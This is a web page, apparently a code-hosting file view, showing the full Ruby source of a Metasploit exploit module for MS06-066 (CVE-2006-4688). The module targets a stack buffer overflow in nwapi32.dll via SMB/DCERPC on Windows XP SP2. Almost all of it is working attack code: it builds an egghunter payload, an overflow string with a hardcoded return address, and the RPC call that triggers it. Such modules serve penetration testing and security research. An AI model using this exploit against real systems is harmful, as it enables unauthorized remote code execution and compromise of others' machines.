Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/smb/ms06_066_nwapi.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::Egghunter9include Msf::Exploit::Remote::DCERPC10include Msf::Exploit::Remote::SMB::Client1112def initialize(info = {})13super(update_info(info,14'Name' => 'MS06-066 Microsoft Services nwapi32.dll Module Exploit',15'Description' => %q{16This module exploits a stack buffer overflow in the svchost service when the netware17client service is running. This specific vulnerability is in the nwapi32.dll module.18},19'Author' => [ 'pusscat' ],20'License' => MSF_LICENSE,21'References' =>22[23[ 'CVE', '2006-4688'],24[ 'OSVDB', '30260'],25[ 'BID', '21023'],26[ 'MSB', 'MS06-066'],2728],29'DefaultOptions' =>30{31'EXITFUNC' => 'thread',32},33'Privileged' => true,34'Payload' =>35{36'Space' => 296,37'BadChars' => "",38'Compat' =>39{40# -ws2ord XXX?41},42'StackAdjustment' => -3500,43},44'Platform' => 'win',45'Targets' =>46[47[48'Windows XP SP2',49{50'Ret' => 0x00EBEEEC ,51},52]53],54'DefaultTarget' => 0,55'DisclosureDate' => '2006-11-14'))5657register_options(58[59OptString.new('SMBPIPE', [ true, "The pipe name to use (browser, srvsvc, wkssvc, ntsvcs)", 'srvsvc']),60])61end6263def exploit64# [in] [unique] wchar *65# [in] wchar *66# [in, out] long67# [out] handle6869# Generate the egghunter payload70hunter = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })71egg = hunter[1]72#print_status("Today, we'll be hunting for 0x#{egg.unpack("V")[0]}")7374# Add giant blocks of guard data before and after the egg75eggdata =76rand_text(1024) +77egg +78rand_text(1024)7980buflen = 29581ofstring = Rex::Text.to_unicode('\\\\') + "\x90" + hunter[0] + rand_text(buflen-hunter[0].length) +82[ target.ret ].pack('V') + "\x00"83#ofstring = Rex::Text.to_unicode('\\\\') + payload.encoded + [ target.ret ].pack('V') + "\x00\x00"8485stubdata =86NDR.long(rand(0xffffffff)) +87NDR.UnicodeConformantVaryingString("\\\\BBBB") +88NDR.UnicodeConformantVaryingStringPreBuilt(ofstring) + # HERE!89#NDR.UnicodeConformantVaryingString('\\\\' + "A"*1024 + "\x00") +90NDR.long(rand(0xffffffff)) +91NDR.long(rand(0xffffffff)) +92#NDR.long((ofstring.length * 2) + 0xC) +93eggdata9495print_status("Connecting to the SMB service...")96connect()97smb_login()9899handle = dcerpc_handle('e67ab081-9844-3521-9d32-834f038001c0', '1.0', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"])100print_status("Binding to #{handle} ...")101dcerpc_bind(handle)102print_status("Bound to #{handle} ...")103104print_status("Calling the vulnerable function...")105106begin107dcerpc.call(0x09, stubdata)108rescue Rex::Proto::DCERPC::Exceptions::NoResponse109print_status('Server did not respond, this is expected')110rescue => e111if e.to_s =~ /STATUS_PIPE_DISCONNECTED/112print_status('Server disconnected, this is expected')113else114raise e115end116else117print_status("Got #{dcerpc.last_response.stub_data.length} bytes: #{dcerpc.last_response.stub_data}")118end119120# Cleanup121handler122disconnect123124if (dcerpc.last_response != nil and125dcerpc.last_response.stub_data != nil and126dcerpc.last_response.stub_data == "\x04\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00")127return true128else129return false130end131end132end133134135